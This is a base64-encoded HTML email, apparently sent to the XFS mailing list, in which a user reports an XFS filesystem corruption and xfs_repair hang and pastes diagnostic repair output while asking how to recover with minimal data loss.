PGZvbnQgc2l6ZT0iMiIgZmFjZT0ic2Fucy1zZXJpZiI+PGJyPg0KPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjEiIGNvbG9yPSIjODAwMDgwIiBmYWNlPSJzYW5zLXNlcmlmIj4tLS0tLSDwxdLF08zB zs86IERtaXRyaXkgWXUgTGVvbm92L0JlZUxpbmU8L2ZvbnQ+PGZvbnQgc2l6ZT0iMSIgY29sb3I9 IiM4MDAwODAiIGZhY2U9InNhbnMtc2VyaWYiPiZuYnNwO8TB1ME6IDMwLjAxLjIwMTQgMDg6MDc8 L2ZvbnQ+PGZvbnQgc2l6ZT0iMSIgY29sb3I9IiM4MDAwODAiIGZhY2U9InNhbnMtc2VyaWYiPiZu YnNwOy0tLS0tPC9mb250Pjxicj4NCjxicj4NCjxmb250IHNpemU9IjEiIGNvbG9yPSIjNUY1RjVG IiBmYWNlPSJzYW5zLXNlcmlmIj7v1DoJPC9mb250Pjxmb250IHNpemU9IjEiIGZhY2U9InNhbnMt c2VyaWYiPkRtaXRyaXkgWXUgTGVvbm92L0JlZUxpbmU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MSIgY29sb3I9IiM1RjVGNUYiIGZhY2U9InNhbnMtc2VyaWYiPuvPzdU6CTwvZm9udD48Zm9udCBz aXplPSIxIiBmYWNlPSJzYW5zLXNlcmlmIj54ZnNAb3NzLnNnaS5jb20sIDwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIxIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2Fucy1zZXJpZiI+68/QydE6CTwv Zm9udD48Zm9udCBzaXplPSIxIiBmYWNlPSJzYW5zLXNlcmlmIj5kYXZpZEBmcm9tb3JiaXQuY29t PC9mb250Pjxicj4NCjxmb250IHNpemU9IjEiIGNvbG9yPSIjNUY1RjVGIiBmYWNlPSJzYW5zLXNl cmlmIj7kwdTBOgk8L2ZvbnQ+PGZvbnQgc2l6ZT0iMSIgZmFjZT0ic2Fucy1zZXJpZiI+MjkuMDEu MjAxNCAwODoyMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIxIiBjb2xvcj0iIzVGNUY1RiIgZmFj ZT0ic2Fucy1zZXJpZiI+9MXNwToJPC9mb250Pjxmb250IHNpemU9IjEiIGZhY2U9InNhbnMtc2Vy aWYiPiZndDsmZ3Q7OiBSZTogSME6IFJlOiBYRlM6IEFzc2VydGlvbiBmYWlsZWQ6IGZzX2lzX29r LCBmaWxlOiBmcy94ZnMveGZzX2FsbG9jLmMsIGxpbmU6IDE1OTA8L2ZvbnQ+PGJyPg0KPGhyIHdp ZHRoPSIxMDAlIiBzaXplPSIyIiBhbGlnbj0ibGVmdCIgbm9zaGFkZSBzdHlsZT0iY29sb3I6Izgw OTFBNTsgIj48YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+UmVwb3N0IG15 IG1lc3NhZ2UsIGJlY2F1c2UgSSBhY2NpZGVudGFsbHkgYW5zd2VyZWQgRGF2ZSBpbnN0ZWFkIG9m IGFuc3dlcmluZyBhbGwuIFNvcnJ5LjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+SSdtIHJlZ2lzdGVyZWQgcHJvYmxlbSBhbHNvIGluIFhGUyBidWd6aWxsYTogPC9mb250 Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48YSBocmVmPSJodHRwOi8vb3NzLnNnaS5jb20v YnVnemlsbGEvc2hvd19idWcuY2dpP2lkPTEwNDUiPmh0dHA6Ly9vc3Muc2dpLmNvbS9idWd6aWxs YS9zaG93X2J1Zy5jZ2k/aWQ9MTA0NTwvYT48L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPkdvb2QgZXZlbmluZywgRGF2ZS4gPC9mb250Pjxicj4NCjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5JJiM4MjE3O20gaW5zdGFsbGVkIHhmc3Byb2dzIHZl cnNpb24gMy4xLjExIGFuZCB0cnkgdG8gcmVwYWlyIGZpbGVzeXN0ZW0gb24gdGhlIHJhaWQgZGlz ay4gQnV0IGNvbW1hbmQgeGZzX3JlcGFpciAtUCAvZGV2L3NkYjEgaGFuZ2VkLjwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+VGhlbiBJIGRlY2lkZWQgdG8gcmVib290IHdp dGggb2xkIGtlcm5lbCB2ZXJzaW9uIDMuNy4xMCAoSSBoYXZlIHNldmVyYWwgdmVyc2lvbnMgb2Yg a2VybmVsKS4gQWZ0ZXIgcmVib290IHRoZSBzeXN0ZW0sIEkgcmFuIHRoZSBjb21tYW5kIGFnYWlu LiBDb21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSBpbiB0aGUgb2xkIGtlcm5lbCAzLjcuMTAu IE91dHB1dCBvZiB0aGUgY29tbWFuZHMgYXR0YWNoZWQgdG8gdGhlIGxldHRlciBhZnRlciB0aGUg dGV4dC48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkZyb20gdGhlIGRl c2NyaXB0aW9uIG9mIHRoZSBjb21tYW5kcyBvdXRwdXQgY2xlYXIgdGhhdCB0aGVyZSBpcyBhIGxv c3Mgb2YgbG9nIGZpbGUgZGF0YS4gTm93IEkgbmVlZCB0byByZXN0b3JlIHRoZSBmaWxlIHN5c3Rl bSB3aXRoIGEgbWluaW11bSBvZiBkYXRhIGxvc3MuIElzIGl0IHBvc3NpYmxlPyBXaGF0IGNvbW1h bmQgc2V0IGNvcnJlY3RseSBmb3IgdGhhdCB1c2U/PC9mb250Pjxicj4NCjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5QUzogb3V0cHV0IG9mIHByb2dyYW1zIGFuZCBzeXN0ZW0gaW5m byBpbiB0aGUgYm90dG9tIG9mIHNpZ25hdHVyZS48L2ZvbnQ+DQo8cD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+JiM4MjEyOzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+Jm5ic3A7IFNpbmNlcmVseSwgRG1pdHJ5LjwvZm9udD48YnI+DQo8YnI+DQo8YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+dW5hbWUgLWE8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkxpbnV4IGRldmFzdGF0b3IgMy43LjEwLWdlbnRvbyAjMiBT TVAgV2VkIE1hciAyNyAxMzoyODowMCBNU0sgMjAxMyB4ODZfNjQgSW50ZWwoUikgWGVvbihUTSkg Q1BVIDMuMDBHSHogR2VudWluZUludGVsIEdOVS9MaW51eDwvZm9udD48YnI+DQo8YnI+DQo8YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+eGZzX3JlcGFpciAtUCAvZGV2L3NkYjE8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBoYXNlIDEgLSBmaW5kIGFuZCB2 ZXJpZnkgc3VwZXJibG9jay4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+UGhhc2UgMiAtIHVzaW5nIGludGVybmFsIGxvZzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSB6ZXJvIGxvZy4uLjwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+RVJST1I6IFRoZSBmaWxlc3lz dGVtIGhhcyB2YWx1YWJsZSBtZXRhZGF0YSBjaGFuZ2VzIGluIGEgbG9nIHdoaWNoIG5lZWRzIHRv PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iZSByZXBsYXllZC4gJm5i c3A7TW91bnQgdGhlIGZpbGVzeXN0ZW0gdG8gcmVwbGF5IHRoZSBsb2csIGFuZCB1bm1vdW50IGl0 IGJlZm9yZTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+cmUtcnVubmlu ZyB4ZnNfcmVwYWlyLiAmbmJzcDtJZiB5b3UgYXJlIHVuYWJsZSB0byBtb3VudCB0aGUgZmlsZXN5 c3RlbSwgdGhlbiB1c2U8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnRo ZSAtTCBvcHRpb24gdG8gZGVzdHJveSB0aGUgbG9nIGFuZCBhdHRlbXB0IGEgcmVwYWlyLjwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm90ZSB0aGF0IGRlc3Ryb3lpbmcg dGhlIGxvZyBtYXkgY2F1c2UgY29ycnVwdGlvbiAtLSBwbGVhc2UgYXR0ZW1wdCBhIG1vdW50PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5vZiB0aGUgZmlsZXN5c3RlbSBi ZWZvcmUgZG9pbmcgdGhpcy48L2ZvbnQ+PGJyPg0KPGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPnhmc19yZXBhaXIgLW4gL2Rldi9zZGIxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5QaGFzZSAxIC0gZmluZCBhbmQgdmVyaWZ5IHN1cGVyYmxvY2su Li48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBoYXNlIDIgLSB1c2lu ZyBpbnRlcm5hbCBsb2c8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZu YnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gc2NhbiBmaWxlc3lzdGVtIGZyZWVzcGFjZSBhbmQg aW5vZGUgbWFwcy4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Ymxv Y2sgKDMsMTQ5ODkzMy0xNDk4OTMzKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVl LCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmFnZl9m cmVlYmxrcyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1OTk0MDc2MSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTk5NDA3NjE8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6MjU5 OTQwNzc2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI1 OTk0MDc3NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtp biBhZyAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJs a3MgPC9mb250PjxhIGhyZWY9InRlbDoyNTUwMTIzNjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjU1MDEyMzYyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1NTAxMjM2 NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTUwMTIz NjU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcg NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdmX2ZyZWVibGtzIDwv Zm9udD48YSBocmVmPSJ0ZWw6MjYwNjI3MjU1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjI2MDYyNzI1NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4sIGNvdW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoyNjA2MjczNzIiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjYwNjI3MzcyPC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2luIGFnIDU8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmFnZl9mcmVlYmxrcyA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjI1NTE2ODY0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZh Y2U9InNlcmlmIj48dT4yNTUxNjg2NDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6MjU1MTY4NjI2Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI1NTE2ODYyNjwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtpbiBhZyAyPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJsa3MgPC9mb250PjxhIGhy ZWY9InRlbDoyMDcwNDQ5ODMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MjA3MDQ0OTgzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0idGVsOjIwNzA0NDk4NCI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yMDcwNDQ5ODQ8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcgNjwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdmX2ZyZWVibGtzIDwvZm9udD48YSBocmVmPSJ0 ZWw6MjQzNjQ2MTUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjI0MzY0NjE1MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4s IGNvdW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoyNDM2NDYxMDAiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjQzNjQ2MTAwPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2luIGFnIDE8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkyODg3NzUtOTI4ODc3NSkgbXVsdGlwbHkg Y2xhaW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5ibG9jayAoMCw5MjkyODgwLTkyOTI4ODApIG11bHRpcGx5IGNs YWltZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmxvY2sgKDAsOTMxMTc0Ni05MzExNzQ2KSBtdWx0aXBseSBjbGFp bWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkzMTM3NzQtOTMxMzc3NCkgbXVsdGlwbHkgY2xhaW1l ZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5ibG9jayAoMCw0MDEwNTUyLTQwMTA1NTIpIG11bHRpcGx5IGNsYWltZWQg YnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+YmxvY2sgKDAsNzI5NDAxMC03Mjk0MDEwKSBtdWx0aXBseSBjbGFpbWVkIGJ5 IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJsb2NrICgwLDY5MDcxMTQtNjkwNzExNCkgbXVsdGlwbHkgY2xhaW1lZCBieSBj bnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5ibG9jayAoMCw0MDU4MzYwLTQwNTgzNjApIG11bHRpcGx5IGNsYWltZWQgYnkgY250 IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmxvY2sgKDAsMzg5MTc4NC0zODkxNzg0KSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBz cGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmJsb2NrICgwLDkzMjI4MjQtOTMyMjgyNCkgbXVsdGlwbHkgY2xhaW1lZCBieSBjbnQgc3Bh Y2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5hZ2ZfZnJlZWJsa3MgPC9mb250PjxhIGhyZWY9InRlbDoyMjgyNDI3NTciPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjI4MjQyNzU3PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjIyODI0MjkxMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlm Ij48dT4yMjgyNDI5MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7aW4gYWcgMDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+c2Jf ZmRibG9ja3MgPC9mb250PjxhIGhyZWY9InRlbDoxNzA5Njg0OTMzIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDk2ODQ5MzM8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTcwOTY4NTE1NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNzA5Njg1MTU3PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gZm91bmQgcm9vdCBpbm9kZSBjaHVuazwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+UGhhc2UgMyAtIGZvciBlYWNo IEFHLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5i c3A7ICZuYnNwOyAmbmJzcDstIHNjYW4gKGJ1dCBkb24ndCBjbGVhcikgYWdpIHVubGlua2VkIGxp c3RzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5i c3A7ICZuYnNwOyAmbmJzcDstIHByb2Nlc3Mga25vd24gaW5vZGVzIGFuZCBwZXJmb3JtIGlub2Rl IGRpc2NvdmVyeS4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMDwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 NzYyOTY2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 NzYyOTY2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2Ns YWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY2NTQ0MjQiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY2NTQ0MjQ8L3U+PC9mb250Pjwv YT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjU2IGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzY0NjY4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzY0NjY4PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjU1PC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTY3Njc4ODIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTY3Njc4ODI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE3ODM2Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTc4MzY8L3U+PC9mb250 PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzY3ODgyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2NzY3ODgyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6 OTMxNzgzNyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45 MzE3ODM3PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDUzMCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc2Nzg4MiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc2Nzg4MjwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDU0 NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzcwOTM0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzcwOTM0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMwOTU5NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzA5NTk0PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNjc3MDkzNCI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc3MDkzNDwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMDk1OTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+OTMwOTU5NTwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzk2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2NzcyNTk2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2NzcyNTk2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gMjM5NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzc1NjE5Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzc1NjE5PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJs b2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxOTc4NSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzE5Nzg1PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRl bDoxNjc3NTYxOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjc3NTYxOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTk3ODYiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+OTMxOTc4NjwvdT48L2ZvbnQ+ PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA2Mjg0IGZv ciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzc1NjE5Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzc1NjE5PC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjI5MTwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMTAzIGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2NzgwNDk4Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2NzgwNDk4PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj 